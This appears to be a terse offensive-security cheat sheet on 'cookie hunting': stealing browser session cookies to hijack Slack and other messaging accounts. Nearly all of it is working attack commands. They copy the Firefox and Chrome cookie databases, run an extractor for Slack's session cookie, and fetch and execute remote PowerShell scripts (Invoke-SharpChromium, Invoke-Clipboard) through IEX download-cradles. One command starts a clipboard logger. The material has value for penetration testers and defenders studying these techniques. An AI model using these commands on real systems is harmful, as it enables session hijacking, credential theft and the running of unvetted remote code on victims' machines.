cookie-hunting

#pillage #pillaging

Abusing cookies to get access to IM clients

cookieextractor.py,

copy "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite" .

python3 cookieextractor.py --dbpath "/home/plaintext/cookies.sqlite" --host slack --cookie d

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSh

arpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')

Invoke-SharpChromium -Command "cookies slack.com"

Copy cookie to SharpChromium expected location

copy "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\Cookies" "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies"

Extract cookies in json format

Invoke-SharpChromium -Command "cookies slack.com"

Clipboard cookies

• Invoke-Clipboard.ps1

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/inguardians/Invoke-Clipboard/master/Invoke-Clipboard.ps1')

Invoke-ClipboardLogger